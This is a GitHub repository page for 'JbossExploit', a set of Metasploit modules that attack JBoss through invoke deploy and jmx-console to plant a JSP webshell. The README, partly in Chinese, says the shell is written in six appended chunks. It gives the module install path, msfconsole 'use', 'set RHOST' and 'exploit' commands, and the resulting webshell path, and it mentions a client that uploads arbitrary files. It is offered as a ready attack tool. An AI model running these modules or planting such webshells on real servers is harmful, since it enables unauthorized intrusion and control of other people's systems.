Skip to content

MSF moudle jboss invoke deploy getshell Exploit & Jboss jmx-console getshell exploit

Notifications You must be signed in to change notification settings

k8gege/JbossExploit

Repository files navigation

JbossExploit

MSF jboss invoke deploy EXPLOIT moudle

Date:2013.11.28
Author:K8gege

改这个EXP中 过程有点不进人意 没能在一个payload里直接输出小马
无奈只能分成了6步来执行,长度有限制 只能一次写入一段内容。
以追加方式写入 最后才构造出 JSP 小马...

BT5 MSF 下 JBOSS EXP存放路径 把这几个脚本丢到这里来
/opt/metasploit/msf3/modules/exploit/multi/http/

msfconsole
use exploit/multi/http/jboss_invoke_deploy_K80
use exploit/multi/http/jboss_invoke_deploy_K81
use exploit/multi/http/jboss_invoke_deploy_K82
use exploit/multi/http/jboss_invoke_deploy_K83
use exploit/multi/http/jboss_invoke_deploy_K84
use exploit/multi/http/jboss_invoke_deploy_K85

set RHOST 172.16.126.134
exploit

成功后小马路径为 www.xxoo.com/jboosjdk/inc.jsp
使用K8新型小马客户端连接 可上传任意格式文件

Jboss jmx-console getshell exploit

About

MSF moudle jboss invoke deploy getshell Exploit & Jboss jmx-console getshell exploit

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages